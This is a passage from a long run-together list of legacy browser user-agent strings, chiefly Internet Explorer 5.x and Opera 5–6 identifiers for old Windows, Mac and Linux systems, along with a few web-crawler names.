(compatible; MSIE 5.01; Windows NT 5.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; NetCaptor 6.5.0RC1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Q312461; T312461) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.1) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.3; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.0.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; YComp 5.0.2.6; MSIECrawler) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; iOpus-I-M) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; iebar) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; DigExt) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.05; Windows 98; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 3.51) Mozilla/4.0 (compatible; MSIE 5.05; Windows NT 4.0) Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 95) Mozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 95; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 95; DigExt; Gateway2000; sureseeker.com) Mozilla/4.0 (compatible; MSIE 5.0; AOL 5.0; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; AOL 6.0; Windows 98; DigExt; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.0; AOL 7.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.0; AOL 7.0; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; AOL 8.0; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; AOL 8.0; Windows 98; DigExt; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.0-4GB i686) Opera 5.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.0-64GB-SMP i686) Opera 6.03 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.10-4GB i686) Opera 6.11 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18 i386) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18 i686) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18 i686) Opera 6.11 [de] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-3 i686) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.02 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.03 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-4GB i686) Opera 6.1 [de] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19 i686) Opera 6.1 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19-16mdk i686) Opera 6.11 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19-4GB i686) Opera 6.03 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.19-4GB i686) Opera 6.11 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-13.7 i686) Opera 6.11 [de] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-4GB i686) Opera 6.03 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-4GB i686) Opera 6.12 [de] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.20-686 i686) Opera 6.02 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.4 i686) Opera 6.11 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.4-4GB i686) Opera 5.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Linux) Opera 5.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Mac OS X) Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 5.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 5.12 [en] Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 6.0 [de] Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Mac_PowerPC; AtHome021) Mozilla/4.0 (compatible; MSIE 5.0; Macintosh; PPC) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; NetNose-Crawler 2.0; A New Search Experience: http://www.netnose.com) Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1) Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.8 sun4u) Opera 5.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.11 [en] Mozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.11 [fr] Mozilla/4.0 (compatible; MSIE 5.0; UNIX) Opera 6.12 [en] Mozilla/4.0 (compatible; MSIE 5.0; Win32) via proxy gateway CERN-HTTPD/3.0 libwww/2.17 Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.01 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.01 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.01 [fr] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.01 [it] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.02 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.04 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.04 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.05 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.05 [el] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.05 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.05 [fr] Mozilla/4.0 (compatible; MSIE 5.0; Windows 3.1) Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.01 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.02 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.02 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.05 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) TrueRobot; 1.5 Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/) Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot; 1.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.02 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.12 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.12 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 5.12 [it] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.0 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.0 [fr] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.01 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.01 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.01 [fr] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.01 [it] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.03 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.04 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.04 [pl] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05 [hu] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05 [it] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98) Opera 6.05 [pl] Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; Avant Browser 6.5.1.3 [avantbrowser.com]) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; FDM) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; FunWebProducts) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 2.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.1.5.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.2.6.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; MyIE2) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Wanadoo 5.1; Wanadoo 5.3) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; Wanadoo 5.3) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.0.0; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.0.0; YComp 5.0.2.4; Hotbar 4.1.7.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.5; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; YComp 5.0.2.6; yplus 1.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;) Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.12 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.12 [it] Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.0 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.01 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.01 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 6.05 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows ME; Link Checker 2.x.xx http://www.kyosoft.com) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 5.02 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 5.11 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 5.12 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.0 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.01 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.01 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.02 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.04 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.05 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.05 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 4.0) Opera 6.05 [fr] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0; SV1; Maxthon) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1) Opera 5.02 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.9; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT;) Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.0 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.0 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.01 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.01 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.01 [et] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.01 [it] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.04 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.04 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.04 [fr] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.05 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.05 [en] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.05 [fr] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.06 [de] Mozilla/4.0 (compatible; MSIE 5.0; Windows XP) Opera 6.06 [fr] Mozilla/4.0 (compatible; MSIE 5.0; YANDEX) Mozilla/4.0 (compatible; MSIE 5.0; www.galaxy.com; www.psychedelix.com) Mozilla/4.0 (compatible; MSIE 5.0; www.galaxy.com; www.psychedelix.com/; http://www.galaxy.com/info/crawler.html) Mozilla/4.0 (compatible; MSIE 5.0b1; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.13; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.14; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC Mac OS; en) Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.21; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.22; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC) Opera 7.54 [en] Mozilla/4.0 (compatible; MSIE 5.23; Macintosh; PPC) Escape 5.1.8 Mozilla/4.0 (compatible; MSIE 5.2; Mac_PowerPC) Mozilla/4.0 (compatible; MSIE 5.5) Mozilla/4.0 (compatible; MSIE 5.50; Windows 95; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows 98; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.9; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 5.5; ) Mozilla/4.0 (compatible; MSIE 5.5; AOL 4.0; Windows 95) Mozilla/4.0 (compatible; MSIE 5.5; AOL 4.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.5; AOL 4.0; Windows 98; GoBeez (www.gobeez.com)) Mozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 95) Mozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 98; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 5.5; AOL 6.0; Windows 95) Mozilla/4.0 (compatible; MSIE 5.5; AOL 6.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.5; AOL 6.0; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 95) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Win 9x 4.90; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Win 9x 4.90; Hotbar 4.1.4.0) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; Win 9x 4.90; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 5.5; AOL 8.0; Windows 98) Mozilla/4.0 (compatible; MSIE 5.5; AOL 8.0; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 5.5; AOL 8.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 5.5; AOL 9.0; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 5.5; AOL 9.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.5; AOL 9.0; Windows NT 5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; T312461) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; T312461; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; Transmission Segment; Hotbar 2.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; i-NavFourF) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Crazy Browser 1.x.x) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; FunWebProducts) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 2.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; KITV4.7 Wanadoo) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; MSIECrawler) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; SAFEXPLORER TL) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; SYMPA; Katiesoft 7; SimulBrowse 3.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461; YComp 5.0.0.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461; i-NavFourF) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.1; Wanadoo 5.3; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.2) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.2; Wanadoo 5.3) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.2; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.3) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.3; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.4) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.5; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 6.1) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Wanadoo 6.7) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; (R1 1.3); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Avant Browser [avantbrowser.com]) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; BTinternet V8.1) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; FunWebProducts) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; FunWebProducts; SpamBlockerUtility 4.6.1) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.1.2.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.2.6.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; MSIECrawler) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; MyIE2) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Q312461) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; T312461) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.1; Wanadoo 5.3; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.1; Wanadoo 6.1) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.2; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.3) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.3; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 6.7) Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; Wanadoo 7.1; .NET CLR 